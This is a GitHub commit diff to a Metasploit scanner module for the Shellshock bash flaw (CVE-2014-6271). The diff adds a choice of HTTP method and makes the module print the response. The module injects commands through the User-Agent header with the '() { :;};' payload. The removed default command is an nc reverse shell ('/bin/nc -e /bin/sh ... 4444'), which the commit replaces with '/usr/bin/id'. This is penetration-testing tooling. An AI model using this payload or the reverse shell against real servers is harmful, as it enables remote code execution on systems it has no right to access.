Skip to content

Commit ecb10eb

Browse files
committed
Add variable HTTP method and other stuff
1 parent a600a06 commit ecb10eb

File tree

1 file changed

+10
-4
lines changed

1 file changed

+10
-4
lines changed

modules/auxiliary/scanner/http/apache_mod_cgi_bash_env.rb

Lines changed: 10 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -24,7 +24,8 @@ def initialize(info = {})
2424
],
2525
'References' => [
2626
['CVE', '2014-6271'],
27-
['URL', 'https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/'],
27+
['URL', 'https://securityblog.redhat.com/2014/09/24/bash-specially-' +
28+
'crafted-environment-variables-code-injection-attack/'],
2829
['URL', 'http://seclists.org/oss-sec/2014/q3/649']
2930
],
3031
'DisclosureDate' => 'Sep 24 2014',
@@ -33,17 +34,22 @@ def initialize(info = {})
3334

3435
register_options([
3536
OptString.new('TARGETURI', [true, 'Path to CGI script']),
37+
OptEnum.new('METHOD', [true, 'HTTP method to use', 'GET', ['GET', 'POST']]),
3638
OptString.new('CMD', [true, 'Command to run (absolute paths required)',
37-
'/bin/nc -e /bin/sh 127.0.0.1 4444 &'])
39+
'/usr/bin/id'])
3840
], self.class)
3941
end
4042

4143
def run_host(ip)
42-
send_request_cgi(
43-
'method' => 'GET',
44+
res = send_request_raw(
45+
'method' => datastore['METHOD'],
4446
'uri' => normalize_uri(target_uri.path),
4547
'agent' => "() { :;}; #{datastore['CMD']}"
4648
)
49+
50+
if res && res.code == 200
51+
vprint_good(res.body)
52+
end
4753
end
4854

4955
end

0 commit comments

Comments
 (0)